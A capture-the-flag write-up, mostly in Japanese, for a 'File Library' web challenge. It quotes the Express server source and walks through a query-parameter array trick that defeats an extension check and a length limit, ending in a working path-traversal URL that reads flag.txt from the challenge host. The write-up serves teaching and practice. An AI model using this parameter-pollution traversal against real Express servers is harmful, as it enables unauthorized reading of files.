I created a file library in my website. I don't have a lot of files, but take a look to the ones I have!
J'ai créé une bibliothèque web de fichiers. Je n'ai pas beaucoup de fichiers, mais j'espère que vous aimez ceux que j'ai !
http://143.198.224.219:8888
Hint
Express query parsing vulnerability
server.js
URLとソースが渡される。
アクセスするとファイルをDLできるサービスのようだ。
File Library
site.png
リンク先/getFile?file=ok.js
では以下のコードがみられるが、関係なさそうだ。
ok.png
リンク先/getFile?file=a.cpp
では以下のコードが得られた。
#include <stdlib.h>
int main() {
system("cat flag.txt");
}
flag.txtを読み取れば良いとわかる。
配布されたソースを見ると以下のようであった。
const express = require('express');
const path = require('path');
const fs = require('fs');
const app = express();
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Listening on port ${PORT}`);
});
app.get('/getFile', (req, res) => {
let { file } = req.query;
if (!file) {
res.send(`file=${file}\nFilename not specified!`);
return;
}
try {
if (file.includes(' ') || file.includes('/')) {
res.send(`file=${file}\nInvalid filename!`);
return;
}
} catch (err) {
res.send('An error occured!');
return;
}
if (!allowedFileType(file)) {
res.send(`File type not allowed`);
return;
}
if (file.length > 5) {
file = file.slice(0, 5);
}
const returnedFile = path.resolve(__dirname + '/' + file);
fs.readFile(returnedFile, (err) => {
if (err) {
if (err.code != 'ENOENT') console.log(err);
res.send('An error occured!');
return;
}
res.sendFile(returnedFile);
});
});
app.get('/*', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
function allowedFileType(file) {
const format = file.slice(file.indexOf('.') + 1);
if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
return true;
}
return false;
}
注目すべきは、以下のallowedFileType
で拡張子を確認しているようだ。
~~~
function allowedFileType(file) {
const format = file.slice(file.indexOf('.') + 1);
if (format == 'js' || format == 'ts' || format == 'c' || format == 'cpp') {
return true;
}
return false;
}
さらにその後、5文字という制限も入れているようだ。
if (file.length > 5) {
file = file.slice(0, 5);
}
5文字で拡張子がjs
、ts
、c
、cpp
のファイルしか読みだせないようになっているがflag.txt
は8文字でtxtである。
まずは拡張子のチェックバイパスを考える。
indexOf
が使われているので、配列を引数に入れる物が有効そうだ。
試しにallowedFileType(["flag.txt",".","cpp"])
をチェックするとtrue
になる。
こうして拡張子チェックの問題は解決したかにみえるが、別の問題が発生する。
以下のファイルのパス解決の部分である。
~~~
const returnedFile = path.resolve(__dirname + '/' + file);
~~~
配列が文字列として扱われるため、__dirname/flag.txt,.,cpp
という謎のファイル名になってしまう。
まず後ろの,.,cpp
を消さなければならない。
ここで、5文字制限を思い出す。
file.slice(0, 5);
で5文字以降は切り捨てられるため、["0","1","2","3","4","flag.txt",".","cpp"]
とすればflag.txt
で終わるようになる。
現状ファイル名は__dirname/0,1,2,3,4,flag.txt
となる。
コンマが邪魔になるが、path.resolve
なので存在しないパスを作りトラバーサルする/test/../
手法が有効である。
["test","/../","/../","/../","/../","/../flag.txt",".","cpp"]
は__dirname/test,/../,/../,/../,/../,/../flag.txt
となり__dirname/flag.txt
と解決される。
よってhttp://143.198.224.219:8888/getFile?file=test&file=/../&file=/../&file=/../&file=/../flag.txt&file=.&file=cpp
にアクセスすればよい。
flag.png
flagが表示された。